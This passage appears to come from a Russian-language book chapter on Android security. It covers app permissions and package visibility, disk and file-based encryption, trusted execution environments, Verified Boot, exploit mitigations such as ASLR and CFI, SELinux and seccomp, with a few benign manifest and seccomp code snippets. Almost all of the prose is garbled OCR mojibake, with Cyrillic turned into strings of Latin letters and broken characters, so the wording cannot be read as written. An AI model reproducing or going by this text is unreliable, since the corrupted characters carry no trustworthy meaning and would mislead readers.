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rjacsiiee, 4YTo BCE MPUIOKEHHS, UCIOb3YOUIHE pa3pellieHHs Ha yreHHe SMS M xypHa-
Jla 3BOHKOB, AO/DKHbl OTHOCHUTBCS K OOHOMY M3 Pa3pelICHHBbIX THUMOB NMPHIIOKEHHH U
B 00sA3aTebHOM MOpsAAKE MPOXOAMTb Py4HYIO mpemopepauuio. [locnenctsuem Takoro
mara CTtajlo yaal€HHE U3 MApKETa MHOI'UMX MOJIE3HbIX HHCTPYMEHTOB, aBTOPbI KOTOPbLIX
npocTo He cMoriu obocHoBaTh nepel Google MPUUMHY MCMONIL30BAHUA TEX WM MHBIX
pa3peLeHH.

3anpeTt AOCTyNa K APYrum NpUNOXeHUSM

Mo Bepcuu 11 Android npegoctasnan BnonHe opuuranbHelii APl ans nonydenus uH-
¢dopmaumu 060 Bcex yCTAHOBJIEHHBIX Ha cMapThOHE MPUI0KEHHIX (MMsl, BepCHsi, BpeMs
YCTaHOBKH M T. A.) H HE HaK/IaJblBaJl HUKAKHX 3alpETOB Ha 3aImyCcK JMOObIX NPHUIOKEHHH.
OTUM NOJIB30BATMCH HE TOJBKO CTOPOHHHE MEHEMKepb! NMPHIOKEHHH, naHeau ObicTporo
3amycka W JIpyroi mosesHbli copT, HO M pa3HOro poaa MajiBapb M HeROOPOCOBECTHbIE
pa3pabOoTHHKH, CTMBAIOLIHE HHPOPMALIUIO HA CTOPOHY.

HauuHas ¢ Andorid 11 cucrema Hayana orpaHM4HMBaTh JOCTYNHbIH NMPUIOKEHUAM, cO0-
paHHBIM UMeHHO Ans 3Tod Bepchu OC (targetSdkVersion = 30), CMUCOK YCTAHOBIEHHBIX
NPUIIOKEHUH, M 00s3bIBaeT pa3pabOTYUKOB MEPEUHCIATh B MaHH(ecTe MpPUIOKEHHH,
C KOTOpPBIMHM MpOrpaMMa aBTopa XoueT KOHTaKTHPOBATh:

xml

<manifest package='"com.example.game'">

<queries>

<package android:name="com.example.store" />
<package android:name="com.example.service" />

</queries>

</manifest>

Kpome CcaMHux le/lJ'IO)KeHHﬁ, TaK)K€ MOXHO MEPEHHUC/IUTL THUINBI HHTEHTOB, KOTOpPbIE CO-
6HpaeTcx UCNOJIb30BaTh IMporpamMma (B ClIeAyroueM MpUMEPE TMPUITOKECHUE 3aABIACT O
CBOE€M HAMEPECHHH OCJIUTHCA H306pa)l(eHH$lMPl C ApYTrUMH ﬂpI/IHO)KeHPlSIMl/I)i

xml

<manifest package="com.example.game">
<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="image/jpeg" />
</intent>
</queries>

</manifest>
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Jlns nayH4epoB U Apyrux MpUAOKEHUH, KOTOPBIM HEOOXOAUM AOCTYN KO BCEM YCTAHOB-
JIEHHBIM TIPUIOXKEHHUAM, MPEAYCMOTPEHO HOBOE pa3pelleHHe QUERYALLPACKAGES (https://
developer.android.com/preview/privacy/package-visibility#all-apps). Ho on1s ero uc-
M0J1b30BaHUs NPHIETCS MPOXOAUTH PYHHYIO MPEMOJEPLMIO.

Hauunas ¢ Android 11 cucrema uckiouaeT U3 auanora BeIOOpa NPUIOKEHHUS-KaMepbl,
MPUIOKEHHUS, YCTAHOBJIEHHBIE U3 MapKeTa WIHM APYrMX MCTOYHWKOB. CaenaHo 3To Aas
60pbObl CO 3/10BPEAHBIMU TMPUIIOKEHHAMH, KOTOpBIE MOTYT OTMpaBNATb CleaHHblE
MoJb30BaTe/IeM CHUMKU TpeTbUM HuaM. OfHaKo y pa3paboTYHKOB OCTAaeTCs BO3MOX-
HOCTB 3aITyCTHTb KOHKpeTHoe MIPHIIOKEHHE-KaMepy HanpsaMylo.

CnHCOK MHTEHTOB, Ha KOTOPbIE PaCNPOCTPAHAETC OrpaHUYEHHE:
O android.media.action.VIDEO CAPTURE;
O android.media.action. IMAGE CAPTURE,

O android.med1ia.action.IMAGECAPTURESECURE,

LWugpposaHue AaHHBIX

[lpaBa moctyna v apyrue orpaHMYeHHUs BPEMEHHM MCMOJIHEHWS — XOpoluas 3auura Ao
TEX Mop, Moka 3/10yMbILJIEHHUK HE MOMy4YHT pusnueckuid goctyn k ycrpoitctBy. Ho uro
Oyner, ecau 3a0bITbI NONB30BaTENEM CMApTOH NONAAET B PyKH MOArOTOBIEHHOTO Xa-
kepa? MHorue ycrpoiicTBa Bo BpeMeHa nepBbix Bepcuid OC uMenu ysa3BMMOCTH B 3a-
rpy3uuke wiu He 6nokupoBanu ero Boece. [loatomy cHare namn NAND-namsti Gbino
npoiue nNpocToro.

Jns 6opbOeI ¢ 31O Npobnemoit B Android 3.0 nosBunace BctpoeHHas pyHkuus wudpo-
BAaHMs JaHHbIX, OCHOBaHHas HA MPOBEPEHHOM roJaMH U COTHAMH ThICAY MOJb30BaTeENeH
moayne Linux-sapa dm-crypt (puc. 4.3). Haunnas ¢ Android 5 3ta ¢dyHkuus crana o6s-
3aTenbHOM, T. €. Google norpeboBana BJIOYHUTL €€ A1 BCEX YCTPOMCTB C MOAAEPIKKOH
XapBapHOTo YCKOpEHHs WK(poBaHUs (3TO B MepByio oyepeab 64-0MTHbIE NMpOLECCOPDI
ARM).

Cucrema wmdposanus Oblna craHaapTHol. Paszgen userdata WKMgpoBancs ¢ NOMOLLbIO
moayns dm-crypt anroputMoM AES-128 B pexkume CBC ¢ 3apeiicTBoBaHeM (pyHKLHH
ESSIV:SHA256 ans nonyuyenus BekropoB uHHuManusauuu (IV). Kitou wndposanus
Obin 3awmuieH ¢ nomowpio KEK-kitoua, kotopelii Mor GbiTh nonyyeH unu U3 PIN-kona
C MOMOLUBIO MPOroHKH Yepe3 GYHKLHIO script MM CTEHEPUPOBAH Cily4YaiHbIM 00pa3oM H
coxpaHeH B TEE. ITpu 3ToMm, ecin nonb3oBatens Kynun cmapTdoH Ha 6aze Android 5.0 ¢
aKTMBMPOBAHHBIM 10 YMO/IYaHHUIO WHpoBaHHEM U 3aTeM ycTaHoBun PIN-koa, nocnen-
HUH Taloke ucnonb3oBaica Ansa reHepaunn KEK.

®yHKUMS script A4 nomyuyeHus knoua u3 PIN-koza ucnonb3yercs HauuHas ¢ Android 4.4.
Ona 3ameHuna paHee npuMenssuuiica anroputm PBKDF, ya3Bumbiii ang nopbopa Ha
GPU (6-3na4nbiit undposoit PIN 3a 10 cexyHn, 6-3HauHblit 3HaKkoBbIit — 4 4vaca ¢ Mo-
mouibto hashcat), Toraa kak script, Mo 3asgBJA€HUIO co3aaTeliei, yBeTMurBan BpeMs Moj-
6opa npumepHo B 20 000 pa3 u BoobGwe He moaxoaun s GPU no npuuMHe BBICOKHX
TpeGOBaHUHU K NaMSTH.
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Puc. 4.3. BknioyeHnne wingpoBaHua aaHHbIX

K coxanenuto, npu Bcex crapanusx Google cucTeMa MONHOAMCKOBOro LIH(pOBaHHMS
(FDE — Full Disk Encryption) npogomkana cTpaaats OT psia KOHUENTYalbHBIX HEIOC-
TaTKOB!

1.

FDE He no3BoJisi1 HCMOB30BaTh pa3Hble KIIOUM WHGPOBaHUS A pa3iHYHbIX obnac-
Tei [aHHbIX M mojb3oBarened. Hanpumep, He no3Bonan 3awnpoBarh pasjesl
Android for Work ¢ nomoibo KOpnopaTMBHOro Kio4a NpeanpuaTis Wid pacund-
pOBaTb KpUTHYECKUE 111 OCHOBOHW (yHKUHMOHAJIBHOCTH cMapTdoHa naHHble 6e3 3a-
npoca napoJis noib30BaTes.

. HOCCKTOPHOC mmbposaﬂue CBOAUJI0O HA HET BCE€ ONTHMH3ALUHUH, PpCATN3OBAHHBIC HA

YpOBHE npaiiBepoB (ailIOBBIX CUCTEM. YCTPOHCTBO TNpPaKTUYECKH HENPEPBIBHO
BBIMOJTHAJIO pacliM(pPOBKY CEKTOPOB U 3aliupoBbIBaNa UX BHOBb, MOAHGHULIMPYS CO-
nepxxuMoe pasaena. Iloaromy FDE Bceraa npuBoaun K 3aMeTHOMY MageHHIO MPOM3-
BOAMUTENIBHOCTH M COKpAILEHHIO BpEMEHH aBTOHOMHO#H paboThl YCTPOHCTBA.

. FDE He noaaep»xuBan npoBepKy MOIJIMHHOCTH COAEP>KUMOro cekropoB. Mx cauiu-

KOM MHOr0, U Cpelld HHUX BpeMs OT BpPEMEHU MOSBIAIOTCA cOOMHbIE, NepeHa3Havae-
MbI€ KOHTPOJIIEPOM B pE3€pPBHYIO 00J1aCTb.

. Kpunrorpaduueckas cxema AES-CBC-ESSIV 6bina ys3BUMOH Kk yTeuke JaHHBIX,

T. K. JoNyCKaJla onpeaACI€HHUE TOYKH UX U3MEHEHHA. OHa no3Bonssa BbIMOJHATH aTa-
KH MO THITY NOAMEHBI U NEPEMELLUECHUS.
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Peuiennem crana cucrema nodaiinosoro mudposanus B Android 7 (FBE — File-Based
Encryption). Ona ucnonb3yer ¢pyHkumio wudposanus dainossix cucteM Ext4 u F2FS
Ans pasaensHoro wndpoBanus kaxaoro daitia no anroputmy AES, Ho yxe B npyrom
pexxume — XTS. D1oT pexxum paszpabatbiBaincs crieuyaibHO A1 WHppoBaHUS OIOUHBIX
YCTPOHCTB U HE UMeeT TUMHYHBIX 11 pexxrma CBC yaszsumocted. B yactHocth, XTS He
NO3BOJISET ONpENeSIUTh TOUKY M3MEHEHHs JaHHbIX, HE MOABEP)KEH yTeukam, YCTOHYHB
K aTaKkam MOJAMEHbI U NepeMELLEHHS.

Bnnote no mocneanero Bpemenu Google no3ponsn nmpousBoauTtensiM cMapToHOB uc-
10J1b30BaTh JIOOOH U3 HMEIOILMXCS MEXaHU3MOB IMGpPOBaHHA, HO HauMHas ¢ Android 10
FBE cran o6s3atensHbIM. bosee Toro, HauuHas ¢ Android 9 wmdpoBaHue crano obs3a-
TENbHBIM HE TOJIbKO Ul YCTPOWCTB C XapABapHOW MOIEPXKKOH WIH(POBaHUS, HO U BO-
oflie Bcex YCTpOMCTB.

Takas BO3MOXKHOCTb NosiBUJach Gnaroaaps paspadoraHHomy B Google MexaHu3My wud-
poBanus Adiantum. On 6a3zupyetcs Ha ObicTpol xew-¢pyHkuun NH, anropurme ayrteH-
tdukauuu coobuiennit (MAC) Poly1305 u norokoBom muppe XChaChal2. B tecrax
Ha npoueccope ARM Cortex-A7 Adiantum noka3sesiBaeT NMATHKPaTHOE MPEBOCXOACTBO
B ckopocTH K¢ poBanus Hag AES-256-XTS.

HosepeHHas cpeaa ucnonHeHus

BaxkHbIM HOBIIecTBOM cucTembl wMdpoBaHus Android 5 crana Bo3MOXHOCTb XpaHHUTh
KoY wndpoBaHus B noBepeHHON cpeae ucnonHeHus: (Trusted Execution Environ-
ment — TEE). Peub naer o BblA€JIEHHOM MHKPOKOMMBIOTEPE BHYTPU WIIH PAIOM C MO-
OWIBHBIM 4YMMOM, KOTOpbIH uMeeT cobctBeHHYt0o OC M oTBeyaeT MCKIIOYHUTENBHO 3a
WwKdpoBaHHE AAHHBIX, XpaHEHHE KIoYel LIM(POBAHUA U IPYroi BaKHOH MHPOPMALIUH.
Hoctyn k Takomy MuUkpollK umeeT nuip HeGonbLIOH CEpBUC BHYTPU OCHOBHOM CHCTe-
MBI, TaK YTO KOMMNPOMETALMsS CUCTEMBI HE NIPUBOJHUT K yTEUKE CaMHX KJIIOUEH.

Haubonee uzectHas peanuzauus TEE — TrustZone (puc. 4.4), ucnionbzyeMasi B 4drice-
Tax Qualcomm (ee, kCTaTH, y>ke B3naMbiBaiu). Jpyrue npou3BoaAUTENIM MOTYT HUCHOJb-
30BaTh COOCTBeHHbIe peanu3auvd. Hampumep, B cmaprdonax Samsung ucnonb3yercs
peanmzauus TEE non ynpaenenwem onepaumvonHoii cuctembl Kinibi, paszpaGortanHoit
komnanuei Trustsonic (Samsung Galaxy S3-S9), nu6o cucremsl TEEGRIS, 3a aBTopct-
BOM HH>KeHepoB caMoif Samsung (Samsung Galaxy S10 u Beime).

Cwmaptdonsl nuHeriku Pixel (Hauunas c Pixel 3/3XL) ucnons3yloT BbIOENEHHBIA 4w
Titan M, pa3pabGoTaHHbIi 1 npou3BoauMbId camoi Google. DTo MoGHIIbHAs BepcHs cep-
BepHoro uuna Titan, kOTopas MCTIONB3YeTCs B TOM UYMCIIe VIS XpaHeHHUs KIoYel mmgpoa-
HHSl M CHETYMKA OTKATOB, MPUMEHAEMOrO CHUCTEMOM IoBepeHHO# 3arpy3ku Verified Boot
(o HeHt uyTh NOIKE), a Takke peanzyeT GyHkumto Android Protected Confirmation (https://
android-developers.googleblog.com/2018/10/android-protected-confirmation.html),

NO3BOJIAIOLLYIO MAaTEMaTHYECKH J0Ka3aTh, YTO MOJIb30BaTENb AEHCTBUTEILHO YBHIEN TOT
MM UHOW AMAJIOr MOATBEPXAEHHS W YTO OTBET Ha JTOT AWANIOT He OBbII nepexBavyeH W
KakuM-TH60 06pa3oM u3MeHeH. Yun nMeeT NpsMyIo JIEKTPHUYECKYIO CBS3b C OOKOBBIMH
KJ1aBUIWIaMK cMapTdoHa W OJIOKHMpYeT UX MpH MombITkax B3noma. Titan M (puc. 4.5) —
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Puc. 4.4, TrustZone B peanu3auun Samsung

Puc. 4.5. Titan M
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cBoero poaa aHanor uuna Secure Enclave, kotopelit Apple yxxe Heckonbko €T npeayc-
TaHaBNMBaeT B CBOM cMapTdoHbl. bnaromaps tomy, yto Titan M — 310 BblOENEHHbIH
mukpokoMibtoTep (Ha 6aze ARM Cortex-M3), He cBA3aHHBIA ¢ OCHOBHBIM MPOLIECCOPOM,
OH yCTOHYMB K aTtakaM Tuna Rowhammer, Spectre u Meltdown.

HosepeHHas 3arpyska

Ewe B Android 4.4 Google peanuzoBana mexanusMm Verified Boot. Ha kaxaom arane 3a-
rpy3ku (MepBHYHBIA 3arpy34dk — BTOpUYHBIH — aboot — sapo Linux — cucTeMa
Android) onepaunoHHas cHcTeMa MPOBEPSET LENOCTHOCTh ClIeAYIOLIEro KOMIOHEHTa
(3arpy34vKu No LUHGPOBLIM MOAMUCAM, SAPO MO KOHTPONBHOMH CyMMe, CHCTEMY MO KOH-
TponbHOH cymme OC) M MOXET NPEANPHHATL AEHCTBHUS, €C/IH KOMIOHEHT Obll U3MEHEH.

Honroe BpeMs MeXaHW3M HaXOAWJICS B CTaJHH Pa3BUTHSA, M TONBKO ¢ BbITyckoM Android 7
HayuMJcs mojaraThes Ha XapaBapHoe xpaHunuile kmoded (TEE) u 3anpewats 3arpysky
B C/lyyae KOMNPOMETALMH OAHOrO U3 KOMIOHEHTOB (€C/IH 3TOro 3aXO4eT NMPOHU3BOAUTEIND
yCTpOiicTBa).

Hauunas ¢ Android 8 B cocraBe Verified Boot mosBunack opuumanbHas peannsauus
(https://android.googlesource.com/platform/external/avb/#Rollback-Protection) 3a-
LUMTHI OT JayHrpeiaa, Korja cucTemMa sIBHO 3arpellaeT YCTaHOBKY CTapbiX BEPCHii npo-
LUMBOK.

HayHrpeiin onmaceH TeM, YTO MOXeET ObITb HMCNONL30BaH [ MOJyYeHUs AOCTyna
K cMapT¢oHy C MOMOLUbIO «BO3BpalleHUs cTapblX Oarosy. JlomycTUM, 4enoBeK ykpa
TenedoH, MOH, YTO OH 3alIM(POBaH, 3aMaposieH, a 3arpy3ulk 3abnokupoBaH. Kactom-
HYIO NPOLIMBKY OH YCTaHOBHTb He MOXeET (Mo MpUYKWHE HECOBNaAeHHs cepTHdHKaTa), HO
MOXKET OTKAaTHTb cMapTdOH K cTapoil Bepcuu o¢HLHANBHONW NMPOLIMBKH, B KOTOPO# Obln
Oar, no3BonsOWKI 060MTH GIIOKMPOBILMK SKpaHa (Takod O6buT B mpoluuBke Samsung,
HarpuMep), ¥ ¢ MOMOLLBIO HEro Mojy4yaeT AOCTYN K coaepKUMOMY cMapTdoHa (puc. 4.6).

Puc. 4.6. MeTaganHbie Verified Boot skntovatoT B ce6s Rollback Index
ANA 3aLMThl OT OTKaTa U XeL-CyMMbl pa3aenos

3awuTa OT cphIiBa CTeka

LlIndpoBaHre OaHHBIX M PEXHM OOBEPEHHOM 3arpy3kKd CMacyT OT 3JI0YMbILIEHHHKA,
KOTOpPBIH He CMOXET 00OMTH 3KpaH OIOKMPOBKH U MOMBITAETCA CHATH AaMI C YXe€ Bbl-
K/IFOYEHHOTO YCTPOHCTBA WM 3arpy31Th YCTPOHCTBO C allbTepHaTHBHON npowuskoi. Ho
OHH He 3aLUMTAT OT IKCMAyaTalMHy ysI3BUMOCTEH B yke paboTarouieit cucteme.
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VA3BUMOCTH B s/ipe, ApalBepax U CHCTEMHBIX KOMIIOHEHTAX 3a4YacTylo MO3BOJISAIOT MOJTY-
4uTh mpasa root. [TostoMy Google 3aHsnach yKperusieHHEM 3THX KOMIIOHEHTOB MOYTH
cpa3y nocie penu3sa nepBoi Bepcuu Android.

B Android 1.5 cucteMHble KOMITOHEHTHI OBIIM MEpeBEeICHBI Ha UCTIONbL30BaHHE OUOIHO-
teku safe-iop (http://code.google.com/p/safe-iop), peanuzyroweii pyHkuuu 6e3onacHo-
rO BBINOJIHEHUS apU(PMETHUECKHX OMepauMid Hall LenbIMU YMciaMu (3alluTa OT integer
overflow). U3 OpenBSD 6bina nozaumMcTBoBaHa peanu3auus ¢pyHkupu dmalloc, 3aTpya-
HAIOLIAA aTaKu C 3aJ€HCTBOBAaHUEM ABOMHOrO OCBOOOXIEHHS MaMATH MU aTaKH COIIaco-
BaHHOCTH YaHKOB, a Takke ¢yHkuus calloc ¢ mpoBepkoil Ha BO3MOXKHOCTD LIEJIOYHUCIIEH-
HOTO NEPEMNOIHEHUS BO BPEMsl ONepalvy BbIAEIEHUS MaMSATH.

Becr Hu3koypoBHeBbIi kon Android HauuHas ¢ BepcuM 1.5 cobupaercs ¢ UCMONB30BaHH-
em MexaHu3Ma komnunaropa GCC ProPolice ans 3amuthl ot cpbiBa cTeka Ha 3Tarne KoM-
nuinsauuy. Haunnas ¢ Bepcuu 2.3 B kofie 3a1€HiCTBOBaHbI «OKeJIe3HbIe» MEXaHU3MBI 3allH-
ThI OT cpbiBa cTeka (6uT No eXecute (NX), noctynHblit HaudHas ¢ ARMv6).

B Android 4.0 Google BHenpuna B OC texnonoruto Address space layout randomization
(ASLR), xotopasi mo3BOJISAE€T pacroIOKUTh B aJAPeCHOM MPOCTPAHCTBE MpoLecca KoI
MPHIIOKEHHA, MOATPY>KaeMbIX OUOIHOTEK, KyUH M CTeKa cilyyaiHeIM oOpa3oM, Onarona-
ps ueMy JKCIUTyaTalMsi MHOTHX THMIIOB aTakK CYIIECTBEHHO YCIIOXKHSETCS, T. K. aTaKylo-
IIeMy NPHUXOAMTCS YrajiblBaTh ajpeca nepexoia IS YCHELIHOro BbIMOJHEHHUS aTakH.
B nononnenue, HauuHas ¢ Bepcuu 4.1 c6opka Android ocylecTBisieTcs ¢ UCTIONB30Ba-
HueM MexaHusma RELRO (Read-only relocations), kKOTOpblii MO3BONSET 3aLUUTHTL CHUC-
TE€MHble KOMITIOHEHTBI OT aTak, OCHOBAHHBIX Ha Mepe3antcH CeKUMH 3arpy>KeHHOro B ra-
mate ELF-¢aitna. Haunnas ¢ Android 8 moanepxka ASLR Tarke pacnpoctpansercs Ha
aapo. B Android 4.2 nosBunace nomaepxka MexaHu3mMa FORTIFY SOURCE, MO3BOJISIOLLETO
OTCIIeANTD TNiepenonHeHue 6ydepa B GyHKUHAX KOMUPOBAHUS NaMATH M CTPOK.

Hauunas ¢ sapa Linux 3.18 Android Bitoyaer B ce6s codTBepHbIH BapHaHT PyHKLIUH
PAN (Privileged Access Never), 3amuuiaroiuei ot npsMoro AOCTyNna K naMsaTH npouec-
COB M3 pexuMa Apa. XOTs caMo SApO OOBIYHO HE UCTIONB3YET 3Ty BO3MOXKHOCTb, HEKOP-
PEKTHO HamMCaHHbIe ApaHBepbl MOTYT 3TO JA€NIaTh, YTO MPHUBOIJHT K MOSBICHHUIO YA3BH-
MocTei.

Bce sampa 3.18 u Bele Taioke BrmouaroT ¢yHkuuio Post-init read-only memory
(https://lwn.net/Articles/676145/), — oHa momeuaeT y4yacTKM NMaMATH, KOTOpble ObLIH
JOCTYIHBI IJI 3allUCH BO BpeMs WHULHATW3aUMM fapa, kak read-only yxe mocie MHH-
LHATH3ALIMH.

Hauunas ¢ BocbMoit Bepcuu npu cbopke Android ucnonedyercs texHonorus Control
Flow Integrity (CFI, puc. 4.7) npenHa3zHadeHHas s 60pbObl ¢ 3KCIUIOATaMH, HUCIOJb-
sytouumMH TexHuKy ROP (Return Oriented Programming). [1pu Bkmovennn CFI xoMmnu-
JIATOpP CTPOUT rpad BbI30BOB HYHKIHMI M BCTPaUBaeT KOA CBEPKH C 3TUM rpadoM nepen
KaXIbIM BbI30BOM (pyHKUMH. EcaM BBI30OB MPOHMCXOOMT MO OTKJIOHSAOLIEMYCS OT rpada
azipecy, IpUIOXKEHHE 3aBepLIaeTcs.

B Android 9 ucnons3zoBanue CFI paciupunocs 1 nokpbsiBaeT MeanagpeiiMBOpKH, a Tak-
xe ctek NFC u Bluetooth. B Android 10 noanepxka Oblia pealuzoBaHa Ui CaMoOro
azpa.
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Puc. 4.7. Koa Bbi30Ba YHKUUW C OTKMIOYEHHBIM W BKNtoveHHbim CFl

[Toxoxxum obpa3zom paboraer TexHonorus Integer Overflow Sanitization (IntSan), npen-
Ha3HauYeHHas U1 3aIMThl OT LIEJIOYMCIEHHOro nepenojHeHus. KoMnunsarop BcTpanBaer
B pe3yJIbTHUPYIOLMH KO MPUJIOKEHUH QYHKLMH MPOBEPKH, KOTOPbIE UCTIONB3YIOTCS IS
MOATBEPXKIEHHUS, YTO HCNONHAEMas apHU(MeTHuyeckas onepauds He BBI3OBET MeEpernon-
HEHHUS.

BrepBble 3Ta TexHomorus Obina ucnonb3oBaHa B Android 7 s 3awMThl Meauacreka,
B KOTOPOM OOHapYXWJIH LieNblii KOMIUIEKC YAalNeHHBIX ysa3BuUMocTeil Stagefright. B And-
roid 8 oHa Takke Hcnonb3yeTcs i 3allUThl KomnoHeHTOB libui, libnl, libmedia-
playerservice, libexif, libdrmclearkeyplugin u libreverbwrapper. B Android 10 nposep-
KaMH yzanock nokpeiTsh 11 MeauakonekoB U ctek Bluetooth. ITo cnoBam pa3paGoTumkoB,
yxe cyuectsoBauie B Android 9 npoBepkH no3Bonuian HeATpaiu30BaTh 11 pa3nuuHbIX
YSA3BUMOCTEM.

B Android 7 MmeauacTek OblT pa3feneH Ha MHOXECTBO HE3aBUCHMBIX CEPBHUCOB, KaXblii
M3 KOTOPBIX MMEET TONbKO T€ MOJHOMOYMS, KOTOpble eMy HyxKHbl. Uaes cocTouT B ToM,
4yTo ys3BUMOcTH Stagefright ObuiM HalieHBl B KOJE€ MeIUaKoAEKOB, KOTOpbIE Tenephb
He HMMeloT JocTtyna k MHTepHeTy, Tak 4TO He MOryT 3KCIUTyaTHpOBaThCA YAaleHHO
(puc. 4.8). TlonpobHee o6 3Tom MoxHO mouuTath BOsore Google no aapecy https://
android-developers.blogspot.ru/2016/0S/hardening-media-stack.html.

Haumnnas ¢ Android 10 mMeauakoaeku vcnonb3yroT autokatop namsatd Scudo, 3aTpya-
HAIOLIMIA aTaku TWna use-after-free, double-free u nepenonnenue xuna. B Android 11
Scudo ucnonb3yeTcs B kauecTBe CTaHAAPTHOTO anjokaropa 1 Beeit OC.
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Puc. 4.8. PaspgeneHHbin MediaServer

SELinux

Ewe oauH 60onbLIOk war B CTOPOHY 3alUMThl OT BO3MOXKHBIX YA3BUMOCTEH B CHCTEMHBIX
koMnoHeHTax OC — TtexHonoruss SELinux. SELinux pa3zpaboTaHa areHTCTBOM HauMo-
HanbHOM 6e3onacHocTy CLLA M yxe AaBHO MCMOJb3YETCS BO MHOTMX KOPMOPAaTHBHBIX U
HACTONBbHBIX AMCTPHOYTHBaX Linux A1 3awMThl OT caMbiX pa3HbIX BUAOB aTtak. OHO M3
OCHOBHbIX npumeHeHniH SELinux — 3To orpaHuueHHe BO3MOMXHOCTEH NMPHIOKEHHH Kak
B nnaHe aoctyna k pecypcam OC, Tak ¥ JaHHBIM APYrUX NMPHIIOXKEHUH.

C nomousbto SELinux Mo)kHO, Hanmpumep, caenaTh Tak, 4ToObl BeG-cepBep UMeN A0CTyI
TONbLKO K OMpeAeneHHbIM ¢ainaM M Iuana3oHy MOPTOB, HE MOr 3alycKaTb OHMHapHble
¢aiinbl NTOMHUMO 3apaHee OrOBOPEHHBIX U UMENl OrpaHHYEHHBIH AOCTYI K CHCTEMHBIM Bbl-
3oBaM. [1o cytu, SELinux 3anupaer npunoxeHue B NeCOYHULYY, CEPbE3HO OrpaHHU4HBas
BO3MOXXHOCTH TOT0O, KTO CMOXXET €ro B3/JI0MaTb.
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Bckope nocne mosBneHus Ha cset Android paspabotunku SELinux Hayanu mpoekt
SEAndroid ¢ uensto mepenectd cuctemy B ModunbHyto OC W paspaboraTh npaBuia
SELinux anis 3awimTel ee KoMrnoHeHToB. HaunHas ¢ Bepcuu 4.2 HapaOOTKH 3TOro npoekrta
BXoAAT B coctaB Android, HO Ha nepBbIX nopax (Bepcust 4.2-4.3) OHM HCMONbL3OBATHUCH
MCKJIIOYHTENBHO A5 c6opa MHPOpMALIMM O MOBEAEHWH KOMITIOHEHTOB CHCTEMBI (C LIENbIO
nocjenyoouUIero coctaBaeHus npasun). B Bepcuu 4.4 Google nepesena cucremy B akTHB-
HbIH PEXHMM, HO C MATKMMHM OrpaHMYEHUAMH AN HECKOJIbKMX CHCTEMHbIX AEMOHOB
(installd, netd, vold u zygote). Ha monHyio ke karywky SELinux 3apabGoran Tonabko
B Android 5.

B Android 5 npeaycmotpeHo 6onee 60 jomeHoB SELinux (npoiue roBops — npasun or-
paHHYeHHI), MOYTH IS KaXAOro CHCTEMHOTrO KOMIOHEHTa, HauuHas OT MepBUYHOro
npouecca init W 3akaH4YMBas MOJb30BAaTENbCKUMHU MpuaoxkeHuamu. Ha npaktuke 3to
O3HaYaeT, YTO MHOTHE BEKTOpbI aTak Ha Android, KoTopble B MPOLUIOM MCMONAB30BATHCH
KaK CaMHMH MOJIb30BATENAMH A1 MONYYEHHS root, TaK M pa3HOro poaa ManBapblo, 6onee
HE aKTyasbHbl.

Tak, Hanpumep, yassumocte CVE-2011-1823, umesiuas mecto Bo Bcex Bepcusax Android
Ao 2.3.4 1 no3BoAsfOLIas BbI3BaTh memory corruption B 1emoHe vold, a nanee nepenatb
ynpaB/ieHHe uieny ¢ npaBamu root (3kcrioiT Gingerbreak), He Morna 6b1 ObITb HCNONB-
30BaHa, Oyab oHa Haiinena B Android 5. 3peck, cornacHo npaBunam SELinux, vold He
MMeeT MpaBa 3amycKaTb Apyrue McrosHsemble ¢ainbl. To ke camoe cnpaBeaMBO M
B oTHoweHuH ysa3BumocT CVE-2014-3100 8 Android 4.3, no3sonstoweii BbI3BaTh nepe-
nonHeHue 6ydepa B neMoHe keystore u 70% apyrux ys3BumocTeil.

SELinux 3Ha4YHMTeNbHO CHHXAET PUCK 3aBllaieHHs YCTPOHCTBOM MOCPEACTBOM IKCMIya-
TalUMH YA3BUMOCTEH B HU3KOYPOBHEBbIX KOMIOHEHTaX CHCTEMbl (MHOTOYWCIEHHbIX Ha-
nucanHbix Ha Cu ¥ Cu++ nemMoHax, UCMOHSAEMbIX OT UMEHH root), HO B TO Xe Bpems
3aTpyAHAET NOJIydyeHUe root, Tak ckasartb, «anas cebs» (puc. 4.9). bonee Toro, oTHbIHE

Puc. 4.9. KontekcTbl SELinux HaTUBHbLIX A€MOHOB W NPUNOXKEHNUI
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npaBa root camM no cede He rapaHTHPYIOT MOJHOTO KOHTPOJS HAad CHCTEMOH, T. K. Ans
SELinux HeT pa3HULB! MEXIY OObIYHBIM I03EPOM M CYMEPINOJb30BaTENEM.

Seccomp-bpf

Seccomp — ewe oaHa TexHosorus sapa Linux, no3possiowas orpaHMYUTh CIIUCOK 10C-
TYNHBIX MPWIOKEHHIO (M B NEPCTEKTUBE OMACHBIX) CHCTEMHbIX BbI30BOB. Mcronbsys
seccomp, MOXCHO, HanpUMep, 3aMpeTUTh NPUIIOKEHHIO HUCIONb30BaTh CUCTEMHbII BbI30B
execve, KOTOPbIH YacTO MPUMEHSIOT 3KCIUIOUTBI, UK 3a0JI0KMPOBATh CUCTEMHBIH BbI30B
listen, ¢ MOMOILBIO KOTOPOrO MOXXHO MOBECHUTh Ha ceTeBod nopt Oekaop. MmeHHo
Seccomp 1exHT B OCHOBE CUCTEMBI H30IALUMH BKJIaJ0K B 6pay3epe Chrome ans Linux.

TexHonorus ucnonb3oBanack B Android HauMHas ¢ ceAbMOW BEPCHH, HO MPUMEHANACH
MCKJIIOYHTENIBHO K CHCTEMHBIM KoMnoHeHTaM. B Android 8 seccomp-¢unbtp 6611 BHe-
ApeH B Zygote, npouecc, KOTOPbIH MOPOXKAAET MPOLUECChl BCEX YCTAHOBNEHHBIX B CHCTE-
My MPHJIOKEHHUH.

PazpaboTunkn npoaHanu3upoBaliy, KakMe CUCTEMHbIE BbI3OBbl HYXXHbI 11 3arpy3ku OC
¥ paboTbl OONBIIMHCTBA MPHIIOKEHH, a 3aTeM OTCEKIM JUIIHWE. B utore B uepHblit
cnucok nonand 17 u3 271 cucrtemHbix Bbi3oBoB Ha ARM64 u 70 u3 364 na ARM
(puc. 4.10).

Puc. 4.10. Kpalu cucTeMbl Npu NONbITKE BbINONHUTL HEPA3peLLEHHbIH CUCTEMHBIV BbI30B

[Mpumep ucnonbszoBanus Seccomp B cepeuce MediaExtractor:

(o

static const char kSeccompFilePath[] =
"/system/etc/seccomp policy/mediaextractor-seccomp.policy"”;

int MiniJdail ()

{
struct minijail *jail = minijail new();
minijail no new privs(jail);
minijail log seccomp filter failures(jail);
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minijail use seccomp filter(jail);

minijail parse seccomp filters(jail, kSeccompFilePath);
minijail enter(jail);

